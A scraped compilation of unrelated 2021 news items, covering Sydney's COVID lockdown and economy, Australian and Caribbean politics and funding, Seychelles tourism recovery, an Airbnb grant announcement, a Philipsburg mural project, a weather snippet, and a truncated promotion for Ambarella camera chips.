While 45 of the states new cases were household contacts, a higher number of workplace contacts and cases with no immediate link to known infections are included in Wednesdays numbers. Thirty-six of Wednesdays 97 new cases are under investigation. Dr Chant said all of Greater Sydney should be concerned about the possibility of catching the virus, noting that, while the bulk of transmission  70 of todays cases  were in south-west Sydney, what Im reading to you today is what happened overnight. Tomorrow, there might be different sites ... whenever you leave the house youve got to assume you can come into contact with someone who is infectious, she said.

Areas of concern for health authorities in addition to Fairfield local government area include Roselands, Rosebery, Canterbury, Sutherland Shire, St George, Windsor, St Ives, Penrith and the Bayside local government area. The Premier said the state would need to wait a few days to see the impact of the recent tightening of testing and tracing regimes. NSW Health is now directing close contacts of close contacts to self-isolate, and essential workers who travel to regional areas or live in Fairfield and work elsewhere will be subject to mandatory testing regimes from this weekend. Asked why Greater Sydneys lockdown had been extended, the Premier said she wanted to see the impact of these recent changes.

Loading It is important for us to assess all the advice we have which will be based on data and that will take us the next two weeks to make that assessment, she said. Asked if she should have locked down the city earlier, she said she had acted on health advice and she expected some would say current restrictions were too stringent and others that they were not stringent enough. I appreciate people are stressed and upset about what is going on, myself included. None of us want to be in this situation. Fairfield residents flooded to testing sites on Tuesday evening and Wednesday morning after the announcement of a new health order that mandates regular testing for essential workers who work elsewhere in Sydney. Health Minister Brad Hazzard signed an exemption on Tuesday afternoon that delayed the operation of the order until the weekend, but hours-long queues were still reported at some locations.

Loading Treasurer Dominic Perrottet apologised for the queues, telling 2GB the state government will clearly need to allocate more resources. Fairfield mayor Frank Carbone told 2GB he had heard reports of people with symptoms waiting for six hours for a test following the announcement. We need to prioritise those that are sick, not those that just need to do surveillance testing, he said. Cr Carbone said that, before the outbreak, 45,000 local workers left the area for work every day. He said another 10,000 people, who come into Fairfield for work every day, did not need to be tested under the current policy.

Loading We got infected because the virus travelled from the inner city  and now tens of thousands of people are coming into Fairfield, he said. Im not going to cop people trying to keep on pointing the finger at Fairfield when residents want to get tested and the government has not [provided] the appropriate resources. At the press conference, Ms Berejiklian apologised to essential workers in the Fairfield area who spent hours in testing queues. I cant tell you how pleasing it is when we say something and people respond [but] I apologise if anyone was inconvenienced, she said.
The sudden dropping of all charges against the farm worker accused of putting needles in Queensland strawberries and sparking a national crisis has left the state body for strawberry farmers disappointed, with detailed reasons for why the case was abandoned yet to be released.

Court documents show Judge Michael Byrne decided on Monday to allow the prosecution to use crucial DNA evidence  despite a legal challenge by defence barrister James Godbolt to have it excluded  and that he concluded it was potentially highly probative of guilt for My Ut Trinh.

My Ut Trinh leaves Brisbane District Court a free woman on Wednesday. Credit:Toby Crockford

However, after further legal arguments on Tuesday, prosecutor Mark Whitbread decided to no longer proceed with the case, and Judge Byrne told the accused woman she was free to go.

The 53-year-old farm worker had been charged with eight counts of contamination of goods with intent to cause economic loss, and was due to face a four-week trial in the Brisbane District Court.
Rebellion at the Celtic Club over a decision to sell the pub that was its home has escalated into a legal fight involving allegations of financial mismanagement, alcoholism and not being Irish enough.

Two former Celtic Club committee members are locked in a fresh defamation battle, after past president Brian Shanahan recently took legal action against former secretary Felicity Allen over claims made on social media.

A bitter legal fight has broken out among former Celtic Club committee members. Credit:Pat Scala

The Celtic Club has been plagued by infighting after the sale in 2016 of the Victorian-era building on Queen Street it had called home for 58 years to a Malaysian developer for $25.6 million.

The club has since spent millions paying debts and tax on the Queen Street sale, and on renting a William Street office and the Metropolitan Hotel in North Melbourne.
If we dont grab it, people will look back and say, WTF, why didnt you guys do all these things when you had such a hand of cards in front of you? Its almost a make or break thing at the moment. Boldly Original was to be a marketing tool developed and used in tandem with the state tourism bodys eventual Spirit of Adventure campaign, and a new overall WA government brand which was supposed to be revealed last year. Loading The joint approach fell apart, however, as the local government put the $169,113 Brand Perth project on hold in October, citing upcoming state and local elections, as well as a delay in the state revealing its own new brand, before dropping it all together in the mid-year budget review. A state government spokeswoman told WAtoday it had currently postponed any launch of its new Brand WA initiative because of COVID-19 but it would reveal further details in due course.

Despite this disruption, the Department of Jobs, Tourism, Science and Innovation has progressed with some aspects of the initiative, including the launch of the Invest and Trade Western Australia online gateway in January this year, she said. Tourism WA has gone through its own upheaval with a mass exodus of board members and the burying of its own $360,000 report which suggested using the vastness and isolation of the state in a destination marketing campaign based on a trip to WA being a holiday of self-reflection. Starting the process all over again Fridays forum  a pet project for Mr Zempilas who works for Seven West Media, which heavily backed the gathering through coverage in The West Australian  was a reset on figuring out what the brand of Perth is and what needed to be done to improve liveability and visitation. But tensions between the Premier and Lord Mayor flared in the lead-up last Tuesday when the council decided to not back a plan across all three levels of government to build a pool at the WACA in East Perth, as part of a $100 million redevelopment, because it would be too big a cost for ratepayers at $150 million over 40 years for little return.

Premier Mark McGowan criticised the council for pulling out of the project, as well as the veracity of the draft business case underpinning the council decision, prompting Mr Zempilas to accuse the state leader of spitting the dummy  although he also says the two governments are still united. Federal Liberal MP Christian Porter, who went to school with Mr Zempilas, also bagged the council for its withdrawal. It was the first real verbal joust between Mr McGowan and Mr Zempilas, when the latter has been mentioned as a potential Liberal party option for a Campbell Newman-like tilt at the next state election in four years. Do pools and urban planning provide the way forward for Perth? Bolstering population within capital CBDs is seen as one way of improving dying foot traffic and East Perth is the most populated suburb within the City of Perth local government area with more than 7000 residents. The suburb has also been flagged as the main centre for future growth over the next 15 years.

But high-density projects, such as the riverside Waterbank project and Perth Girls School redevelopment  both near the WACA  are yet to get off the ground as locals go without nearby supermarkets, schools, or a pool despite an increase in unit sales across Perth over the past two years. A WACA pool is seen by the state government as a great family attraction for urban living when only 14 per cent of households in the City of Perth are families with children, compared to 46 per cent of homes in WAs wider metropolitan area. Whether a pool still goes ahead is up in the air as the local government starts an open-ended process to work on a new business case to see whether an aquatic facility should be located in the CBD at all. Meanwhile, the state government has pledged to go ahead with the project despite not knowing what entity will pay for the upkeep.

Creating affordable three-bedroom homes, student accommodation, and senior living facilities looms as a greater challenger, however, as outlined in a new 15-year draft planning strategy prepared by the City of Perth. The plan has indicated extra height through its bonus plot ratio mechanism could be considered in several parts of Perth for new developments to reach future office and residential targets. The City of Perth is looking at possible intensification investigation areas where plot ratio changes could be made. Credit:City of Perth Spots like the McIver-Claisbrook precinct in Central Perth, the City West precinct in West Perth, and the Riverside precinct in East Perth have been highlighted as areas which should be investigated for potential intensification. The draft strategy also tries keep the pressure on the state government in terms of education, predicting the need for a 400-student primary school by 2026 and a 1000-student secondary school come 2036.

The lure of a big project One idea exhumed out of Fridays forum, following a push by The West Australian, was to get a long lauded cable car between Elizabeth Quay and Kings Park. Loading A cable car in the city was touted in the 1990s by former premier Carmen Lawrence before WAs last leader Colin Barnett picked up the baton and planned to make it part of a future development stage at Elizabeth Quay alongside an Aboriginal culture centre of national significance. In 2016, the Metropolitan Redevelopment Authority commissioned a preliminary study which found a cable car could be both technically feasible and commercially viable without government funding while pumping $30 million into the economy every year.

WAtoday also campaigned for a cable car three years ago, which was the same year Mr McGowans government took a step back from the project. Loading A state government spokeswoman told WAtoday this week the cable car was not currently a priority but the government would consider private sector proposals. The state government is instead throwing its weight behind a multi-government deal for inner-city university campuses, like the plan to build a new ECU facility next to the struggling Yagan Square by 2025, and an Aboriginal culture centre by 2029 as catalysts for greater visitation and population growth. Our focus for the city is our once-in-a-generation $1.5 billion city deal and our commitments to deliver an Aboriginal cultural centre right here in Perth, the spokeswoman said.
Prime Minister Scott Morrison and NSW Premier Gladys Berejiklian stood together in Sydney on Tuesday afternoon to announce a $5 billion support package for businesses and workers affected by the current NSW lockdown.

It was quite a departure for a Premier who a month ago was saying no more lockdowns and a Prime Minister who has resisted calls for federal support for other states who have closed for business during the pandemic.

Today on Please Explain, the Heralds state political editor Alexandra Smith joins Tory Maguire to discuss the package and whats happening in Sydney.

Our supporters power our newsrooms and are critical for the sustainability of news coverage.
The countrys biggest bank and top analysts are warning the Sydney lockdown will shrink the national economy and could leave thousands unemployed, with some predicting the restrictions will be extended beyond the extra two weeks announced on Wednesday.

The Commonwealth Bank, AMP and Deloitte Access Economics are among those forecasting a significant hit to national GDP on the back of the lockdown, but most expect an economic rebound when restrictions ease up.

Empty streets in Bondi Junction during the Sydney lockdown. Credit:Janie Barrett

Commonwealth Bank head of Australian economics Gareth Aird warned the lockdown poses a significant risk to the Australian economy over the first half of the financial year and has based his forecasts on a possible seven week shut down.

With greater Sydney contributing about 25 per cent to GDP, and based on the banks internal card spend data and previous outbreaks, Mr Aird is tipping a 1.4 per cent hit to the third quarter GDP result, followed by a rebound.
Two Liberal MPs have called on the federal government to reduce greenhouse gas emissions to net zero levels by 2050 in a new warning about climate change, taking on conservatives within the Nationals who are holding out against the target.

The MPs, Trent Zimmerman and Bridget Archer, made the call in a parliamentary report into a private members bill from independent MP Zali Steggall. Their remarks highlight divisions over the target ahead of a United Nations summit in Glasgow in November where Australia will be expected to update its current plan to preferably reach the target by 2050.

Liberal MP Trent Zimmerman has called for the federal government to set a net zero 2050 deadline. Credit:Dominic Lorrimer

The comments heighten the argument over climate change as the new Nationals leader, Barnaby Joyce, warns against stronger targets and some of his colleagues express frustration at creeping language from Prime Minister Scott Morrison that seemed to hint last month at deeper targets.

The governments stated policy is to reach net zero at some point, although Mr Morrison has said he would preferably get there by 2050  the deadline set by many other advanced economies.
Australia is likely to take until 2023 to produce its own messenger RNA vaccines like those from Pfizer and Moderna, as scientists call for a huge federal investment to match countries that already have manufacturing deals.

The federal government is expecting several commercial bids this Friday to build local facilities to produce the mRNA vaccines, but its plans rely heavily on talks with Moderna to lure the US company.

The federal governments plan to produce mRNA vaccines relies heavily on talks with Moderna to lure the US company. Credit:Getty

Australia is already two months behind other countries in the region in signing a major global partner for local mRNA facilities after Singapore, South Korea and China struck agreements in May for domestic production.

One scientist said the federal governments funding promises so far were wildly insufficient to expand local vaccine research and development to a scale that could attract a company like Moderna.
The Speaker of the House of Representatives, Tony Smith, will leave Parliament at the next election in a surprise decision after a rare tenure in the position over more than two terms.

Mr Smith, who replaced Bronwyn Bishop as Speaker in August 2015, told constituents on Wednesday he would not contest the next election after holding the seat of Casey, in the eastern suburbs of Melbourne, for two decades.

Speaker Tony Smith speaks with Opposition Leader Anthony Albanese during Question Time. Credit:Alex Ellinghausen

After a great deal of thought and consideration, I have decided that this term as a Member of the House of Representatives will be my last, Mr Smith said in a statement on Wednesday afternoon.

I love our Parliament and serving the Australian people. I am honoured that the Liberal Party and the electors of Casey voted to give me this privilege for two decades.
The extension of the lockdown announced on Tuesday comes as no surprise given the consistently high number of new cases of COVID-19 in the community but Sydney and the NSW government must now make sure that the next two weeks actually do the job.

If the lockdown is not to drag on forever, approaching the soul-destroying 163-day ordeal in Melbourne last year, all of us must work together.

We must observe the rules on masking, staying at home, checking in with our QR codes, isolating if required, getting tested at the slightest symptom or after any potential exposure. Those who are eligible and can find a spot should be vaccinated.

Most Sydney people have already got the message but some people, such as the four men who chartered a superyacht and went illegally to Queensland, are still blatantly flouting the rules.

The NSW government must also lift its game. There is confusion around what is classed as an essential activity during the lockdown and it is having an impact on compliance.
Singapore: A defrocked Catholic priest accused of systematic child abuse in East Timor has been reported to police for allegedly threatening to kill the human rights lawyer representing the victims.

The claim against American-born Richard Daschbach was made in a statement released on Tuesday night by law firm JUS Juridico Social Consultoria.

Richard Daschbach has support in high places in East Timor. Credit:AP

At around 11.15am [on Tuesday] inside the Oecusse District Court, the accused of the case of 14 counts of sexual abuse against children, one count of child pornography and domestic violence, ex-priest Mr Richard Daschbach threatened to kill Ms Barbara Oliveira, partner of JU,S Juridico Social, the firm said in the statement.

This threat was made inside the court building, directly witnessed by one member of the national police. While Ms Oliveira was sitting and working in the waiting area of the court waiting for the conclusion of the hearing, Mr Daschbach left the defendant waiting room to go to the toilet.
Many Australians onshore dont seem to understand that if I dont have a visa here I cant work which makes things worse financially and for the Australian government to say to us to ask family and friends for money is disgraceful. Around 34,000 Australians have registered with DFAT as stranded overseas. Credit:Getty Images Marotta says she is now financially dependent upon her boyfriend until she can get a flight home, something for which she says she is grateful. But she says she should not be forced into this situation as a result of Australias policies. Britains Home Office has been extending visas for Australians or citizens where a nation has closed their borders or where quarantine facilities are temporarily oversubscribed following a request by the Australian government last year.

Australians in Britain are being quoted fares of $10,000 for flights home in September. The federal government has said it will increase the number of Qantas repatriation flights to Darwin for Howard Springs quarantine to 29 to offset the drastic reduction in commercial flights. A Qantas repatriation flight due to depart London for Howard Springs later this month sold out in just three minutes last week. An Emirates flight to Perth, Australia in May 2021 showing empty seats as a result of flight caps. A spokeswoman for American Airlines said they would be flying 20 empty flights from Los Angeles into Sydney over the next two months.

On certain days in July and August, the Australian government has advised that were not able to transport customers on the route due to the ongoing coronavirus (COVID-19) pandemic, the spokeswoman said. Well reach out to customers scheduled to travel on the affected flights to offer alternate arrangements. There are currently no direct flights between LAX and Sydney available until August 30 after next week and American Airlines is not accepting new bookings for AA-operated flights until January. Empty check in terminals at Sydney International Airport. Credit:Janie Barrett Barry Abrams from the Board of Airline Representatives of Australia (BARA) said the governments Qantas-operated repatriation flights would do nothing to clear the growing backlog of Australians trying to get home.

They would probably bring in about 1700 passengers and weve bumped the better part of 20,000 so that is a very small increase that they can realistically do given the large numbers that we are bumping, he said. Loading The cuts to the flight caps mean that on Wednesday, a total 237 people are expected to arrive in New South Wales compared to 447 last Wednesday according to data supplied by BARA. The number of freight-only flights, or completely passenger-less flights today has increased to 16 compared to 11 last week meaning they now outnumber those carrying Australians. Abrams said if the caps continue at their reduced rate beyond August 31, airlines would start pulling flights or abandon Australia altogether.

Loading Abrams said many airlines hadnt pulled out of Australia yet because the flights were scheduled months in advance including rostering and paying of flight crew. But he said this could change after August 31, when the national cabinet decides if it will continue with the reduced caps for the remainder of the year. That will be a trigger for them to start reevaluating these flights quite closely, he said. Then it might well become more commercially rational for airlines to even cease a number of the cargo-only flights because there might well be opportunities to use them properly as passenger aircraft for countries that are gradually reopening, such as in Europe.
Polands membership of the EU was plunged into uncertainty after its judges defied a European court order to reverse some of its controversial judicial reforms.

Stanislaw Piotrowicz, a senior Polish judge, said that interim measures by the EUs highest court, which ordered Warsaw to suspend the reforms on Wednesday (Thursday AEST), were not in line with the Polish constitution.

The defiant ruling is the first of two verdicts due to be issued this week by Polish judges which appear to question a fundamental requirement of EU membership: that EU law takes precedence over national laws.

A woman holds a European Union flag outside the Constitutional Tribunal, background in Warsaw. Credit:AP

The ruling prompted Guy Verhofstadt, an MEP and former chief Brexit co-ordinator, to warn that Polands Eurosceptic government was trying to drag the country out of the bloc.
Washington: Virgin Galactic has acknowledged that billionaire founder Richard Branson never rode a bicycle to the launch site of his space flight on Sunday, as depicted in a highly publicised video included in the companys webcast of the event.

The video clip showed Branson riding his bike toward New Mexicos state-owned Spaceport America near the town of Truth or Consequences, flanked by two SUVs, and handing his bike helmet to an assistant upon arrival.

Virgin Galactic now says the clip of Branson arriving at Spaceport America on his bike was not actually from the launch day.

Branson, 70, is then seen greeting crewmates dressed in their flight suits with a hug, with one of them, Beth Moses, the companys chief astronaut instructor, telling him, Youre late, hurry up.

On Tuesday (Wednesday AEST), a Virgin Galactic official, speaking anonymously, affirmed that the video in question was filmed on July 5, the Monday before the flight, and that Branson did not ride his bike at all the day of the launch.
There is much to celebrate in the Seychelles islands this July. Not only is Seychelles commemorating the 50th anniversary of the opening of its international airport welcoming its first commercial flight, which in July 1971 launched the Indian Ocean archipelagos tourism industry, but it also welcomed on that same day in 2021, the 50,000th visitor since the bold decision on March 25 to open the country up to all visitors vaccinated or not.

The impact of the pandemic had been immediate and catastrophic for the tourism-dependent economy of the island nation which saw visitor arrivals plummet to a low of 22 visitors in April of last year compared to a bumper 37,103 in April 2019, traditionally the second-highest month of the year for tourist arrivals. Foreign exchange inflows (receipts/supply of foreign exchange converted into rupees, the majority of which is tourism earnings) of an average of US$3 million a day pre-pandemic fell to US$1.25 million per day in April 2020, plunging to a low of US$0.43 million in mid-April 2020, the Central Bank of Seychelles has revealed. For the next 11 months, the period of May 2020 to March 2021, the average was US$1.72 million per day.

The ambitious vaccination program of its citizens the tourism-dependent country embarked on from January 2021, catapulting it to the worlds attention as the worlds most-vaccinated country, underpins Seychelles strategy to relaunch its primary economic activity and is already paying dividends.

While a far cry still from the 38,910 visitors of December 2019, the bumper 384,204 arrivals of that year and tourism earnings which in 2019 accounted for 76 percent of total inflows, figures from the Central Bank of Seychelles show that recovery, although fragile, is well underway.

Tourism earnings, reported by banks covering foreign exchange converted into domestic currency by tourism-related businesses, dropped to US$1.1 million in June 2020. It stands this year in June at US$23 million or 59 percent of the US$38.9 million recorded in the same month in 2019.

As of March 25 to July 2, 2021, the foreign exchange inflows daily average is US$2.44 million. Redefining its customer landscape as its traditional markets got hit by succeeding waves of the pandemic and barriers such as lockdown measures, quarantine requirements, and restrictions to travel, the countrys tourism and transport authorities and private sector operators have been looking to other source markets, opening up to new airlines and charters, and welcoming from March 25 onwards some 500 visitors on average per day.

Topping the leader board of visitor arrivals from January 1 to July 4 in Russia with 12,381 visitors, as Aeroflot absent from the destination for 17 years, commenced twice-weekly flights on April 2 before increasing it to 3 times a week. Emirates, the first airline back to Seychelles when the airport reopened, has boosted arrivals from the United Arab Emirates to number 2 (8,475) while accelerating connectivity to its widening network and scheduled and special charter flights from Israel see the Middle Eastern nation making the number 3 spot (6,881), normally held by European source markets.

Germany and France, (normally number 1 and 2), have dropped to 4th and 6th position while Ukraine, Qatar, Saudi Arabia, Poland, and the USA have made their appearance in the top 10 source markets list.

397,000 visitor nights have been recorded for the first 2 quarters of 2021 and the length of stay recorded is a healthy 9.1 day for the second quarter of the year, not too far reduced from that recorded prior to the pandemic, the latest tourism report from the National Bureau of Statistics shows.

Optimistic, based on the intelligence recorded that there is high demand for travel to Seychelles, the Principal Secretary for Tourism, Mrs. Sherin Francis, anticipates an improvement in the second part of the year during the peak summer season.

We are expecting better days ahead for the industry, the current booking trends are reflecting the forecasts we made at the beginning of the year. Records are showing that Seychelles could be receiving over 149,000 visitors by December 2021, which for the industry would be very good news. We are confident that visitors as vaccination progresses in various countries, consumer confidence will increase, and that this will influence our arrival numbers positively for the rest of the year, PS Francis said.

Edelweiss from Switzerland has also resumed its flights, Condor and Air France's probable returns to the destination are slotted for October 2021, and as more regional and international airline partners confirm their interest in the destination, the destinations tourism authorities confidence appears to be well-founded.
Kingston, Jamaica:--- Airbnb believes in sharing the companys success with its stakeholders, including the communities the Hosts call home. Thats why Airbnb created the Community Fund to distribute $100 million over 10 years to organizations that are strengthening communities around the world, including $10 million distributed throughout 2021.



Today, Airbnb is excited to share the inaugural grant recipients of the Airbnb Community Fund, which includes over 150 organizations from more than 40 countries and six continents.



These organizations are working to meet unprecedented needs brought about by the pandemic, and focusing on this years themes: COVID-19 relief, economic empowerment, and education.



In Jamaica these organizations are: Jamaica Red Cross, Society for Scientific Advancement, United Way Jamaica. In Dominican Republic these organizations are: Community Foundation in Favor of Single Mothers and Young Unprotected Funcomas RNC, Fundacion Grupo Puntacana and in Puerto Rico these organizations are: CMV Casa sin Fronteras, La Marana, Programa de Educacion Comunal de Entrega y Servicio, Inc.





Other recipients include the Mann Deshi Foundation in India, the Affordable Homeownership Foundation in the United States, Urban Refugees in France, and the India COVID-19 Relief Fund.

To determine how to direct these grants, Airbnb turned to its Host community. Airbnbs Host Advisory Board, a group of exceptional Hosts who act as the voice of the Host community to Airbnb leaders, selected the grant focus areas and worked with Airbnbs program partner, GlobalGiving, to compile a list of global organizations working to meet these needs. Members of Host Clubs around the world then voted on organizations they believed have the greatest impact in their regions.

I really liked how the Community Fund process was shared between different groups - not just Airbnb, but also the Host Advisory Board, Community Leaders and other Hosts. We are all equally responsible for our Community. I feel honoured to be part of the process. - Pascale Hasson, Host Advisory Board member from Bordeaux, France.



Grant recipients outlined the impact the funding will have for their organization.



This fund will be used to help us to continue alleviating suffering in Jamaica. It will be used to help us in food distribution across the island to deal with the COVID19 induced hunger. We will also use it to distribute masks and sanitizers to local communities. The Funds will also be used for providing psychosocial support to various communities across the island. Commented Kathlene Arnold from Jamaica Red Cross Society, Jamaica.



COVID-19 has exacerbated food insecurity. Daily Bread's member agency network is seeing over 105,000 food bank visits per month across the city of Toronto  50% increase compared to the year prior. Airbnb's donation will help to ensure that more than 15,000 people can access a supply of fresh produce, dairy, proteins, and shelf-stable groceries. It will also help us build new emergency response programs, such as meal delivery services, so that individuals impacted by COVID-19 - especially seniors or those experiencing isolation - can safely access the food they need. - Patricia Feehely, Daily Bread Food Bank, ON, Canada



The National Coalition for the Homeless (NCH) is so honored to receive the generous gift from Airbnb. NCH is a beacon of hope for those that are experiencing homelessness. We can only remain a beacon with the help of amazing companies like Airbnb. We thank you for your willingness to help us Bring America Home. - Donald H. Whitehead Jr., National Coalition for the Homeless, United States.



This funding will allow 300 entrepreneurs in Mexico to receive the training and support necessary to rescue, strengthen or boost their microenterprises, given the current economic situation derived from the pandemic. They may choose to focus on transforming their business models towards digital. Others could prefer to improve their sales and customer service strategies. And some may decide to finally launch that business idea that they long for and achieve self-employment. Regardless of which path they wish to take, we will accompany them and get ahead of this crisis. - Patricia Larios, Fundacion ProEmpleo Productivo A.C., Mexico.



This additional funding will allow us to go further in collecting evidence on the impact of strengthening the capacity of Refugee-Led Organisations (RLOs), to support our advocacy work. It will enable us to dedicate time to revising and enhancing our monitoring, evaluation and learning framework, and to involve Refugee-Led Organisations in this process as part of our capacity-building work. This framework will aim to inform international humanitarian actors and funders on indicators of localization and self-reliance of refugees, and to advocate for further efforts towards those objectives. - Alix Devillers, Urban Refugees, France



What will the additional funding mean for the Affordable Homeownership Foundation? We will be able to help more Veterans, Disabled individuals and Seniors in need, and the donation will allow us to expand our North Carolina efforts to house homeless Veterans. We are so excited, again thank you! - Lois Healy, Affordable Homeownership Foundation, Inc., United States

In addition to this process, Airbnb will direct grant awards to additional organizations they believe play an important role in communities around the world and Airbnb looks forward to sharing more later this year. To learn more about the Community Fund and the grant recipients, you can visit the Airbnb Community Fund page.
PHILIPSBURG:--- World Bank Country Director for Caribbean Countries Lilia Burunciuc and NRPB Director Claret Connor on Tuesday afternoon signed a grant agreement allocating US $45 million in additional financing to the Emergency Recovery Project (ERP-1).

ERP-1 is one of the flagship projects of the Sint Maarten Recovery and Resilience Trust Fund, which is financed by the Government of the Netherlands, managed by the World Bank, and implemented by the NRPB.

The signing took place in the presence of Sint Maarten Prime Minister Silveria Jacobs directly after a meeting with the Council of Ministers, World Bank representatives, and NRPB officials at the Government Administration Building.

The additional funding is necessary to complete the wide range of activities under ERP-1, which include repairs to homes, schools, and critical Government buildings that were damaged during Hurricane Irma in 2017. In the time since the project was designed by the Government of Sint Maarten, the activities have encountered financial challenges due to necessary changes in scope.

ERP-1 was the first project awarded under the Trust Fund, responding to the countrys immediate recovery needs following the destruction of the 2017 Atlantic hurricane season, said Director Connor after the signing. The success of this project is integral for the rebuilding of our country and provides support for the recovery and reconstruction of Sint Maarten and long-term development priorities to strengthen the countrys resilience to disasters using the principles of building back better and sustainability within our institutions and communities.

World Bank Country Director Burunciuc is currently in Sint Maarten on a high-level official visit, which will be concluded on Thursday, July 15, 2021. She is accompanied on the trip by Tahseen Sayed, former World Bank Country Director for Caribbean Countries.

Burunciuc assumed the position of Country Director on July 1, 2021, taking over from Sayed who held the position since 2017.

The purpose of the visit is to introduce Burunciuc to the Government of Sint Maarten, the Trust Fund Steering Committee, and the NRPB. The trip also gives Burunciuc the opportunity to observe some of the Trust Fund projects under implementation and interact with key stakeholders and beneficiaries.

Guided by NRPB management and staff, Burunciuc and Sayed visited a home that had been repaired under the ERP-1 on Tuesday morning, July 13.

This was followed by stops at Leonald Conner Primary School and Sr. Regina Primary School, which are two schools repaired through ERP-1. The repairs to Sr. Regina School were completed in June 2021, while the repairs to Leonald Conner School are slated to finish at the end of July 2021. The delegation also visited the Simpson Bay Community Center, one of 11 emergency shelters repaired under ERP-1.

On Tuesday afternoon, Burunciuc and Sayed toured the landfill, as well as a playground and satellite library financed by the Trust Fund through the Resources for Community Resilience (R4CR) project. They also visited social homes of the Sint Maarten Housing Development Foundation (SMHDF) that are slated for repairs.

A Steering Committee meeting is scheduled for Wednesday morning, July 14, 2021, during which the Committee will discuss the allocation of remaining finances of the Trust Fund.

The Steering Committee meeting will be followed by site visits in the afternoon, where Burunciuc and Sayed will get a first-hand look at shipwrecks being salvaged out of Simpson Bay Lagoon under the Emergency Debris Management Project (EDMP). The World Bank representatives will also speak to the owners of a hair salon and architectural firm, two recipients of financing from the Enterprise Support Project (ESP).

On Wednesday evening, there will be an official dinner to bid farewell to departing Country Director Sayed.

The final segment of the World Bank visit is a tour of Princess Juliana International Airport (PJIA) terminal building on Thursday morning, July 15.
~Discussions with the Netherlands ongoing --- Ottley.

PHILIPSBURG: --- St. Maarten will also follow the footsteps of the European Union and mainly France by implementing the QR codes for persons that are vaccinated. Minister of VSA Omar Ottley confirmed on Wednesday that discussions are currently taking place with the Netherlands, and it is expected that the required QR code for St. Maarten will be launched within the next two weeks.

The Minister of Health said that in the very near future the government of St. Maarten would not have to force anyone to take the COVID-19 vaccinations as is the case for healthcare workers of France. Ottley said that having the COVID -19 vaccination will become a way of life since the European Union and France have begun implementing measures that will require everyone to take the vaccinations. The Minister further explained that other countries will soon be implementing the same measures and that are being implemented in Europe.

The Minister said that he continues to plead with people to take the vaccines now since in a matter of time this will be a part of life as it is already a requirement for cruise passengers. He said airlines will also make it mandatory for travelers to be fully vaccinated.

Ottley said that for now everyone whether or not they are residing legally on St. Maarten can get vaccinated at any of the vaccination centers of pop-up locations since the VMT will continue with the pop-ups throughout the month of July. He said after that vaccination will only be done by appointments which could take as much as 5 weeks before someone can receive their first shot. He warned that after the vaccination campaign persons desirous of traveling would have to begin planning at least two months in advance in the event they are not vaccinated.

Ottley said as the Minister of Health his job is to ensure there is public safety. He said right now there are human rights and human safety that have to be considered. The Minister said that already over 4M people have lost their lives to COVID 19 and each day this virus is adjusting itself. Currently, the world is dealing with the Delta variant that is by far more deadly and contagious. Already there are 5 cases of Delta variant identified on St. Maarten and 2 on St. Martin.

Due to this variant countries are becoming afraid and as such, they are implementing measures in order to protect their people.
PHILIPSBURG:--- Be The Change Foundation (BTC) is happy to announce an extension of our Philipsburg Art Walk project: @ColorMeSXM

As part of this project, last year, twelve colorful murals were completed in the Philipsburg area to help uplift the neighborhood, support local artists, increase foot traffic to the area and provide a free sightseeing activity for residents and visitors to enjoy. We would again like to thank all artists, volunteers, and partners that were involved and are grateful for the positive feedback from the community, says Melanie Choisy, BTCs President.

Since then the project's murals have been shared via hundreds of photos and videos and amassed tens of thousands of likes and shares on social media. The murals have provided a background for other initiatives, and five (known) tour companies are incorporating the murals into their tours.

Thanks to the R4CR Grant Scheme, the Be The Change Foundation is now able to add more murals and fine-tune the free walking tour in Philipsburg. We look forward to adding at least six new murals, showcasing more artwork by local artists, and adding a few improved features to the plaques, map, and website, says Laura Bijnsdorp, writer and coordinator for BTC.

BTC will inform the public about the open call for mural designs at a later date. First, the Foundation is encouraging the community of Philipsburg to suggest walls that might be suitable to be painted for a mural.

Guidelines for applicable walls:

- Must be in Philipsburg; the Boardwalk, Front Street, Back Street, Cannegieter Street, Eugene Camille Richardson Street, or Walter Nisbeth Road.

- Wall owner must be willing to sign an agreement with the intention to prevent covering or damaging the mural. The mural wall must be preserved for a minimum of 3 years (and ideally 5).

- The wall should be visible at most times. For example, the final mural should not be covered due to parking cars.

- BTC wont be painting storefronts with showcase windows but can provide business owners a contact list of mural artists for hire.

- BTC will consider bare walls that are adjacent to businesses, walls in alleyways, damaged buildings that wont be rebuilt for a few years, and other creative ideas by the community.

BTCs Board and Members would like to thank R4CR for the opportunity to execute the extension of @ColorMeSXM. The R4CR program is a grant scheme that focuses exclusively on financing and strengthening local Civil Society organizations (CSOs). The program is financed by the Government of the Netherlands via the St. Maarten Trust Fund. The latter is administered by the World Bank, implemented by the NRPB (National Recovery Program Bureau), and executed by VNGI (the Vereniging van Nederlandse Gemeenten International) in close cooperation with Foresee Foundation-NPOwer and other local partners.

For suggestions or ideas regarding available walls in the Philipsburg area for the project please contact BTC via email: This email address is being protected from spambots. You need JavaScript enabled to view it.

BTC would like to make note that this project is only for the Philipsburg area. If persons wish to apply for funding and take the initiative to execute murals in other areas, the BTC team would be happy to advise.

For more information about @ColorMeSXM Philipsburg Art Walk and Be The Change Foundation: www.bethechangesxm.com & www.colormesxm.com. Find us on Instagram: @colormesxm
Somerset, KY (42501)

Today

Partly cloudy skies in the morning will give way to cloudy skies during the afternoon. A stray shower or thunderstorm is possible. High 86F. Winds ENE at 5 to 10 mph..

Tonight

Cloudy. A stray shower or thunderstorm is possible. Low 64F. Winds light and variable.
Next wave of SoCs will turbocharge camera capabilities at the edge

A new generation of video cameras is poised to boost capabilities dramatically at the edge of the IP network, including more powerful artificial intelligence (AI) and higher resolutions, and paving the way for new applications that would have previously been too expensive or complex. Technologies at the heart of the coming new generation of video cameras are Ambarellas newest systems on chips (SoCs). Ambarellas CV5S and CV52S product families are bringing a new level of on-camera AI performance and integration to multi-imager and single-imager IP cameras. Both of these SoCs are manufactured in the 5 nm manufacturing process, bringing performance improvements and power savings, compared to the previous generation of SoCs manufactured at 10nm. CV5S and CV52S AI-powered SoCs The CV5S, designed for multi-imager cameras, is able to process, encode and perform advanced AI on up to four imagers at 4Kp30 resolution, simultaneously and at less than 5 watts. This enables multi-headed camera designs with up to four 4K imagers looking at different portions of a scene, as well as very high-resolution, single-imager cameras of up to 32 MP resolution and beyond. The CV52S, designed for single-imager cameras with very powerful onboard AI, is the next-generation of the companys successful CV22S mainstream 4K camera AI chip. This new SoC family quadruples the AI processing performance, while keeping the same low power consumption of less than 3 watts for 4Kp60 encoding with advanced AI processing. Faster and ubiquitous AI capabilities Ambarellas newest AI vision SoCs for security, the CV5S and CV52S, are competitive 